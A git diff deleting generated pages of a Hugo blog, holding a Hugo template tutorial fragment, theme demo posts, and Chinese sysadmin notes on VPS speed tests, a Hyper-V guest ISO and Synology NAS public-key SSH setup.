    - -

    Let’s restore the default single template before we forget.

    - -
    $ mkdir themes/zafta/layouts/post
    -$ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Now we’ll update the post’s version of the single template. If you remember Hugo’s rules, the template engine will use this version over the default.

    - -
    $ vi themes/zafta/layouts/post/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    -
    - -

    Note that we removed the date logic from the default template and put it in the post template. Generate the web site and verify the results. Posts have dates and the about page doesn’t.

    - -

    Don’t Repeat Yourself

    - -

    DRY is a good design goal and Hugo does a great job supporting it. Part of the art of a good template is knowing when to add a new template and when to update an existing one. While you’re figuring that out, accept that you’ll be doing some refactoring. Hugo makes that easy and fast, so it’s okay to delay splitting up a template.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/this-post-has-no-body/index.html b/themes/public/article/this-post-has-no-body/index.html deleted file mode 100644 index 0fa30b7c..00000000 --- a/themes/public/article/this-post-has-no-body/index.html +++ /dev/null @@ -1,432 +0,0 @@ - - - - - - - - - - This post has no body – almost | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    This post has no body – almost

    -
    - - - 2017-05-30 - - - - - - - - - New York - - Other Destinations - - - - - -
    - - -

    Ut vel lectus et nulla elementum dapibus. Cras turpis dui, fermentum at tincidunt eu, placerat quis urna. In orci justo, condimentum eget consectetur nec, mollis sit amet nisi. Nulla id turpis dolor, non gravida augue. Phasellus quis justo consectetur tellus ultrices tincidunt.

    - - -
    - -
    - - -

    Alchemy from Henry Jun Wah Lee / Evosia on Vimeo.

    - -

    Vestibulum posuere pharetra sem, in venenatis eros vehicula id. Nulla gravida velit a diam interdum mattis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Ut a tortor sed risus eleifend dapibus. Pellentesque et nisl a elit molestie gravida. In ac mauris diam, eu laoreet magna.

    - -
    Cras leo tortor, condimentum id semper eu, sodales id elit. Maecenas commodo dolor vel massa gravida vehicula. Morbi tristique sapien ac dui tempus imperdiet.
    -
    - -

    Maecenas sodales, nisl a fermentum tincidunt, sapien magna scelerisque massa, ut tempor diam odio eu augue. Nullam lectus urna, egestas a tempor eu, aliquet et lorem. Mauris fermentum lectus ac odio facilisis id commodo justo faucibus. Aliquam erat volutpat. Proin quis magna eget risus cursus sollicitudin sit amet at enim.

    - -
    Cras leo tortor, condimentum id semper eu, sodales id elit.
    -
    - -

    Maecenas commodo dolor vel massa gravida vehicula. Morbi tristique sapien ac dui tempus imperdiet.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/vmguest-iso-win10-hyperv-download-from-mega/index.html b/themes/public/article/vmguest-iso-win10-hyperv-download-from-mega/index.html deleted file mode 100644 index 3497463c..00000000 --- a/themes/public/article/vmguest-iso-win10-hyperv-download-from-mega/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - 筆記-Win10 Hyper-V 的 vmguest.iso | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    筆記-Win10 Hyper-V 的 vmguest.iso

    -
    - - - 2017-07-24 - - - - - - - - -
    - - -

    幫客戶處理在Win10 Pro 底下用Hyper-V 作 WinXP
    -但是hyper-V預設已經不提供 vmguest.iso
    -這個是去網路上找到的,測試過裝WinXP 雖然ok,但是裝置管理員還是很多「不明裝置」
    -反正先讓業務能交貨就好了

    - -

    vmguest.iso MEGA 空間下載

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/vps-digitalocean-vps-e7-9a-84-e4-b8-8b-e8-bc-89-e9-80-9f-e5-ba-a6-e5-be-88-e6-85-a2-ef-bc-9f-ef-bc-9f-ef-bc-9f/index.html b/themes/public/article/vps-digitalocean-vps-e7-9a-84-e4-b8-8b-e8-bc-89-e9-80-9f-e5-ba-a6-e5-be-88-e6-85-a2-ef-bc-9f-ef-bc-9f-ef-bc-9f/index.html deleted file mode 100644 index be959afa..00000000 --- a/themes/public/article/vps-digitalocean-vps-e7-9a-84-e4-b8-8b-e8-bc-89-e9-80-9f-e5-ba-a6-e5-be-88-e6-85-a2-ef-bc-9f-ef-bc-9f-ef-bc-9f/index.html +++ /dev/null @@ -1,479 +0,0 @@ - - - - - - - - - - [VPS] DigitalOcean VPS的下載速度很慢??? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 未分類 - - - - - -
    - - -

    今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了

    - -

    之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的

    - -

    而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。

    - -

    安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore

    - -

    可是下載速度很慢,大概只有2xx KB !

    - -

    下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔

    - -

    FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右..

    - -

    2015-01-15_17-01-00

    - -

    我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法

    - -

    我們沒有限速!下載速度受到很多因素影響之類的廢話! -> There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved -實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點

    - -

    從我的電腦trace過去要22個節點,結果DigitalOcean的下載速度反而比較慢??

    - -

    客服接下來又鬼打牆了,叫我去測速、有測試到比較好的機房就把主機移過去.. -> You can test your download speed and latency to our datacenter locations with our test files available -> -> Once you identify another region with better performance, try re-deploying the droplet there. - 

    - -

    後來想到之前有看過個小工具叫 axel 就是類似在CONSOLE底下的 多點續傳軟體,裝起來跑跑看,結果速度馬上飆上去了! -> File size: 1081098385 bytes -> Opening output file backwpup_13d415_2015-01-15_15-22-41.tar.gz -> Starting download -> -> Connection 5 finished                                                          ] -> Connection 6 finished                                                          ] -> Connection 2 finished                                                          ] -> Connection 4 finished                                                          ] -> Connection 1 finished                                                          ] -> Connection 8 finished                                                          ] -> Connection 0 finished                                                          ] -> Connection 7 finished                                                          ] -> Connection 9 finished                                                          ] -> Connection 3 finished                                                          ] -> -> Downloaded 1031.0 megabytes in 8:04 seconds. (2176.90 KB/s) - 

    - -

    所以看來是有限制單一session 的頻寬 (QOS可以這樣設定喔?)

    - -

    不想再跟客服魯下去,以後就把這台機器預設下載工具都換成 axel 了..

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

    http://wp.me/p3h08f-fh

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/vps-digitalocean/index.html b/themes/public/article/vps-digitalocean/index.html deleted file mode 100644 index 1a6ef19a..00000000 --- a/themes/public/article/vps-digitalocean/index.html +++ /dev/null @@ -1,479 +0,0 @@ - - - - - - - - - - [VPS] DigitalOcean VPS的下載速度很慢??? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 筆記 - - - - - -
    - - -

    今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了

    - -

    之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的

    - -

    而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。

    - -

    安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore

    - -

    可是下載速度很慢,大概只有2xx KB !

    - -

    下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔

    - -

    FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右..

    - -

    2015-01-15_17-01-00

    - -

    我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法

    - -

    我們沒有限速!下載速度受到很多因素影響之類的廢話! -> There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved -實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點

    - -

    從我的電腦trace過去要22個節點,結果DigitalOcean的下載速度反而比較慢??

    - -

    客服接下來又鬼打牆了,叫我去測速、有測試到比較好的機房就把主機移過去.. -> You can test your download speed and latency to our datacenter locations with our test files available -> -> Once you identify another region with better performance, try re-deploying the droplet there. - 

    - -

    後來想到之前有看過個小工具叫 axel 就是類似在CONSOLE底下的 多點續傳軟體,裝起來跑跑看,結果速度馬上飆上去了! -> File size: 1081098385 bytes -> Opening output file backwpup_13d415_2015-01-15_15-22-41.tar.gz -> Starting download -> -> Connection 5 finished                                                          ] -> Connection 6 finished                                                          ] -> Connection 2 finished                                                          ] -> Connection 4 finished                                                          ] -> Connection 1 finished                                                          ] -> Connection 8 finished                                                          ] -> Connection 0 finished                                                          ] -> Connection 7 finished                                                          ] -> Connection 9 finished                                                          ] -> Connection 3 finished                                                          ] -> -> Downloaded 1031.0 megabytes in 8:04 seconds. (2176.90 KB/s) - 

    - -

    所以看來是有限制單一session 的頻寬 (QOS可以這樣設定喔?)

    - -

    不想再跟客服魯下去,以後就把這台機器預設下載工具都換成 axel 了..

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

    http://wp.me/p3h08f-fh

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/vps-hosthatch-vps-in-hong-kong/index.html b/themes/public/article/vps-hosthatch-vps-in-hong-kong/index.html deleted file mode 100644 index 8d18c98d..00000000 --- a/themes/public/article/vps-hosthatch-vps-in-hong-kong/index.html +++ /dev/null @@ -1,487 +0,0 @@ - - - - - - - - - - [VPS] Hosthatch VPS in Hong Kong | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [VPS] Hosthatch VPS in Hong Kong

    -
    - - - 2015-10-15 - - - - - - - - - 未分類 - - - - - -
    - - -

    VPN PLAN : $USD 8/ Quarter 8美元/三個月

    - -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    StatusOnline
    IPv4 Address1
    Virtualization Type(OpenVZ)
    Hostnamevps1
    NodeSSD 26 HKG - OpenVZ
    - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Operating SystemCentOS 6 64-bit
    IPv6 Address0
    Disk Space30 GB
    Bandwidth1 TB
    Memory256 MB
    VSwap256 MB
    -

    - -

    [root@vps1 ~]# dd if=/dev/zero of=testfile bs=1024 count=1000000 -1000000+0 records in -1000000+0 records out -1024000000 bytes (1.0 GB) copied, 5.19875 s, 197 MB/s

    -
    [root@vps1 ~]# dd if=/dev/zero of=testfile bs=1024 count=10000000
    -10000000+0 records in
    -10000000+0 records out
    -10240000000 bytes (10 GB) copied, 54.6255 s, 187 MB/s

    - -

    Speedtest cli in console -[root@vps1 speedtest-cli-0.3.2]# ./speedtest_cli.py -Retrieving speedtest.net configuration… -Retrieving speedtest.net server list… -Testing from TerraTransit AG (153.92.46.70)… -Selecting best server based on latency… -Hosted by Vodafone DE (Frankfurt) [100.73 km]: 228.202 ms -Testing download speed…………………………………. -Download: 100.84 Mbit/s -Testing upload speed………………………………………….. -Upload: 11.06 Mbit/s -[root@vps1 speedtest-cli-0.3.2]#

    - -

    - -

    VPN Speedtest

    - -

     

    - -

    2015-10-15_09-07-18

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/articles/enable-synology-public-ssh/index.html b/themes/public/articles/enable-synology-public-ssh/index.html deleted file mode 100644 index 12749daf..00000000 --- a/themes/public/articles/enable-synology-public-ssh/index.html +++ /dev/null @@ -1,489 +0,0 @@ - - - - - - - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - -

    Dev_A upload to google drive —> Dev_B Download from google drive —> Dev_B scp download file to me —> I upload to server.

    - -

    有沒有?是不是很stupid (講話一定要烙英文)

    - -

    既然有現成的NAS在那邊,幹嘛不用呢?(攤手)

    - -

    聽說之前的人一直沒成功弄出來,讓Server可以直接去NAS存取檔案的方式,我記得這個不是很難啊 -就順手整理一下

    - -

    新增使用者帳號/ 確認家目錄存在

    - -

    在NAS 的管理界面上新增一個帳號,假設叫 eric 好了

    - -

    建立時,注意一下要指定家目錄路徑

    - -

    更正: 群暉的界面好像不能指定家目錄

    - -

    預設的路徑如下

    - -
    eric:x:1071:100::/var/services/homes/eric:/sbin/nologin
    -
    - -

    不過我覺得怪怪的,因為在我手邊的幾台NAS底下 /var/services/homes 都切不過去 -確認一下路徑,發現那個 @fake_home_link 根本就不存在啊!

    - -
    admin@storage:/volume1$ ls -lart /var/services/homes 
    -lrwxrwxrwx 1 root root 24 May 23 14:14 /var/services/homes -> /volume1/@fake_home_link
    -admin@storage:/volume1$
    -
    - -

    我在想是不是之前的人有改過什麼.. -anyway ,反正先不管這邊,直接修改 /etc/passwd檔案

    - -
    sudo vim /etc/passwd
    -
    - -

    修正到正確的路徑,順便把shell 也改掉,不然不能登入

    - -
    eric:x:1071:100::/volume1/homes/eric:/bin/sh
    -
    - -

    修改 /etc/ssh/sshd_config

    - -

    再來修正預設沒有啟用 Publickey 驗證的 ssh

    - -
    sudo vim /etc/ssh/sshd_config
    -
    - -

    確認底下三行存在

    - -
    RSAAuthentication yes
    -PubkeyAuthentication yes
    -AuthorizedKeysFile	.ssh/authorized_keys
    -
    - -

    將KEY傳到 NAS上

    - -

    先建立相關目錄,順便修正一下目錄權限

    - -
    chmod 755 /volume1/homes/eric
    -mkdir -p /volume1/homes/eric/.ssh
    -chmod 700 /volume1/homes/eric/.ssh
    -
    - -

    再來把Publickey 傳到NAS,複製貼上也好,ssh-copy-id也可以,同時修正權限

    - -
    vim /volume1/homes/eric/.ssh/authorized_keys 
    -chmod 0600 /volume1/eric/.ssh/authorized_keys
    -
    - -

    重啟SSH

    - -

    本來這個步驟應該可以用

    - -
    synoservicectl --restart sshd
    -
    - -

    來解決 -但是實際上這個指令只會把你踢出 SSH session ….( WTF!!! )

    - -

    所以還是要去NAS的管理界面,去關閉再打開SSH (有點蠢..) -Synology WEB UI

    - -

    然後就可以測試用Publickey 來登入NAS了

    - -
    2018-11-05 14:47:12 [mini@s009 ansiblecontrol]$ ssh admin@storage 
    -admin@storage:~$ 
    -
    - -

    確認免密碼登入無誤了!

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/articles/index.html b/themes/public/articles/index.html deleted file mode 100644 index efa8d701..00000000 --- a/themes/public/articles/index.html +++ /dev/null @@ -1,391 +0,0 @@ - - - - - - - - - - Articles | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/articles/index.xml b/themes/public/articles/index.xml deleted file mode 100644 index 452dabca..00000000 --- a/themes/public/articles/index.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - - Articles on MC部落 - https://h.cowbay.org/articles/ - Recent content in Articles on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 14:16:54 +0800 - - - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/articles/page/1/index.html b/themes/public/articles/page/1/index.html deleted file mode 100644 index cda291ef..00000000 --- a/themes/public/articles/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/articles/ \ No newline at end of file diff --git a/themes/public/audio/index.html b/themes/public/audio/index.html deleted file mode 100644 index 4a73d12f..00000000 --- a/themes/public/audio/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Audios | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Music - - - - - -
    - - - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don’t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/audio/index.xml b/themes/public/audio/index.xml deleted file mode 100644 index 7891e850..00000000 --- a/themes/public/audio/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Audios on My cool new Blog - https://h.cowbay.org/audio/ - Recent content in Audios on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:12:47 +0100 - - - - - - Kilez More - New World Order - https://h.cowbay.org/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/audio/kilez-more-new-world-order/ - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don&rsquo;t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - - \ No newline at end of file diff --git a/themes/public/audio/kilez-more-new-world-order/index.html b/themes/public/audio/kilez-more-new-world-order/index.html deleted file mode 100644 index de19f37f..00000000 --- a/themes/public/audio/kilez-more-new-world-order/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - Kilez More - New World Order | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Music - - - - - -
    - - -

    With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post.

    - -

    If you don’t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/audio/page/1/index.html b/themes/public/audio/page/1/index.html deleted file mode 100644 index 019ce722..00000000 --- a/themes/public/audio/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/audio/ \ No newline at end of file diff --git a/themes/public/author/edward-snowden/index.html b/themes/public/author/edward-snowden/index.html deleted file mode 100644 index 2ce451eb..00000000 --- a/themes/public/author/edward-snowden/index.html +++ /dev/null @@ -1,345 +0,0 @@ - - - - - - - - - - Edward Snowden | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Arguing that you don’t care about the right to privacy because you have nothing to hide is no different than saying you don’t care about free speech because you have nothing to say.

    - - Edward Snowden -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/author/edward-snowden/index.xml b/themes/public/author/edward-snowden/index.xml deleted file mode 100644 index ba5b5de6..00000000 --- a/themes/public/author/edward-snowden/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Edward Snowden on My cool new Blog - https://h.cowbay.org/author/edward-snowden/ - Recent content in Edward Snowden on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:01:14 +0100 - - - - - - Edward Snowden About Privacy - https://h.cowbay.org/quote/edward-snowden-privacy/ - Wed, 01 Nov 2017 13:01:14 +0100 - - https://h.cowbay.org/quote/edward-snowden-privacy/ - Arguing that you don&rsquo;t care about the right to privacy because you have nothing to hide is no different than saying you don&rsquo;t care about free speech because you have nothing to say. - - - - \ No newline at end of file diff --git a/themes/public/author/edward-snowden/page/1/index.html b/themes/public/author/edward-snowden/page/1/index.html deleted file mode 100644 index a41bdfff..00000000 --- a/themes/public/author/edward-snowden/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/author/edward-snowden/ \ No newline at end of file diff --git a/themes/public/author/eric-chang/index.html b/themes/public/author/eric-chang/index.html deleted file mode 100644 index 42f1f6a7..00000000 --- a/themes/public/author/eric-chang/index.html +++ /dev/null @@ -1,879 +0,0 @@ - - - - - - - - - - Eric Chang | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

